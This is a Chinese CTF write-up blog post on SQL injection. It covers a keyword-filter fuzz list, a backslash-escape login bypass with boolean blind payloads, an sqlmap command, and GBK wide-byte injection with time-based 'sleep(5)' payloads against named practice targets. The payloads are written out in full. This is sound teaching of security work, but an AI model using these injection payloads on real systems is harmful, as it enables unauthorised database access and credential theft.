CTF例题合集(2)

SQL注入典型例题

http://121.36.208.140:23333

1.首先测试闭合 发现回显停止hacking 说明存在字符上的注释和绕过问题,可以借助burp抓包查看

admin'
admin

2.

这里是fuzz字典,里面有很多可能被注释掉的敏感字段内容

select    from   asci   substr   table   column   by   schema   where   extractvalue   exp   if   /   (   )   %   !   @
#   $   ^   &   *   -   _   +   =   '   "   ~   `   \   |   ,   .   ||   &&   order   updatexml   limit   And   Or
%23   %20    space
<
>
regex
group_concat
table_name
table_schema
column_name
database
imformation
union select
ascii(substr())
(select(group_concat(table_name))
from(information_schema.tables)where(table_schema=database())
(ascii(substr((select(group_concat(flaaag))from(flag)),%s,1))=%s)
where(table_schema=database())

这里可以获得所有敏感字符是否被过滤的情况。由于判断可以得知 字符长度比较短的是stop hacking ,所以1405的是被过滤掉的内容

接下来通过目录爆破可以获得一些不为人知的目录

扫描发现robots.txt  

得到的提示是访问/hint.txt

这是提示的sql语句 

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

由于刚刚的扫描中发现 \ 转义字符并没有被过滤掉

所以可以考虑输入用户名为 admin\  密码是 123456#

则语句可以理解成

select * from users where username='admin\' and password='123456#';

此时不难发现,admin右边的引号被转义成了普通的字符,所以admin左边的引号会和password右边的引号闭合

而#后面的内容都被注释掉了,所以此时的注入位置是123456

select * from users where username='admin and password=' 恶意代码 #';

而此时注意到等号也被过滤了,所以and 1=1这种没办法实现 但是可以考虑使用大于号和小于号和or

username=admin\&password=or 2>1#

username=admin\&password=or 2<1#

根据网页回显的特性不难发现,这符合布尔盲注的特点。

接下来可以一步步的手工去进行盲注,不过非常的耗费时间。

而这使用sqlmap也是比较难的

所以需要自行写脚本进行注入实现

爆出密码为 OhyOuFOuNdit
账号为 admin

PS:如果尝试使用sqlmap构造语句(POST型+盲注) 需要先burp抓包获得我们的注入内容

sqlmap -u http://121.36.208.140:23333/ --data "username=admin\&password=or *" --current-db --batch --threads 10 --technique B

没办法实现。可能由于sqlmap工具能力有限。这就需要自己后期的脚本开发和优化了

宽字节注入&时间盲注例题

chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' -- -   //here is the information
chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' order by 3 -- -    

//Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in SQL-GBK/index.php on line 10
chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' order by 2 -- -

//here is the information
chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' union select 1,2 -- -

//here is the information

不难发现网页的回显结果非常单一,这可能是盲注注入类型 (布尔盲注)

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and length(database())=8 -- -   // 空
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and length(database())=1 -- -  //多次尝试最后仍然为空

接下来考虑时间盲注

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and if(length(database())>=2,sleep(5),1) -- -  //停顿5s
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and if(length(database())>=4,sleep(5),1) -- -  //停顿5s
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and if(length(database())>=8,sleep(5),1) -- -  //停顿5s
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and if(length(database())>=14,sleep(5),1) -- -  //停顿5s
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and if(length(database())>=15,sleep(5),1) -- -  //here is the information

说明当前数据库的名字长度是14

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Simon_Smith

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值